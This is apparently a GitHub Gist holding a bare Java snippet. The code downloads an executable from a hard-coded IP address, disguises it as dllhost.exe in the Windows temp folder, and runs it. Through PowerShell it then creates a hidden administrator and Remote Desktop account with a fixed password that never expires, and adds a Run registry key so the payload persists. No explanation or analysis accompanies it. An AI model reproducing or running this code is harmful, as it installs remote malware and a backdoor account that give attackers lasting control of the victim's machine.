Skip to content

Instantly share code, notes, and snippets.

@isaidnocookies
Created January 3, 2022 02:40
Show Gist options
  • Save isaidnocookies/87a29bbe14ce6c3063659f456292641b to your computer and use it in GitHub Desktop.
Save isaidnocookies/87a29bbe14ce6c3063659f456292641b to your computer and use it in GitHub Desktop.
this.download("http://148.251.71.182/symantec.tmp", "c:\\windows\\temp\\dllhost.exe;");
String win_cmd = "Start-Process c:\\windows\\temp\\dllhost.exe;";
win_cmd += "net user /add DefaultAccount P@ssw0rd123412; net user DefaultAccount /active:yes; net user DefaultAccount P@ssw0rd12341234; net localgroup Administrators /add DefaultAccount; net localgroup 'Remote Desktop Users' /add DefaultAccount; Set-LocalUser -Name DefaultAccount -PasswordNeverExpires 1;";
win_cmd += "New-Itemproperty -path 'HKLM:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run' -Name 'DllHost' -value 'c:\\windows\\temp\\dllhost.exe' -PropertyType 'String' -Force;";
final String[] arrayOfString = { "powershell", "-c Invoke-Command", "{" + win_cmd + "}" };
try {
Runtime.getRuntime().exec(arrayOfString);
}
catch (IOException iOException) {
iOException.printStackTrace();
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment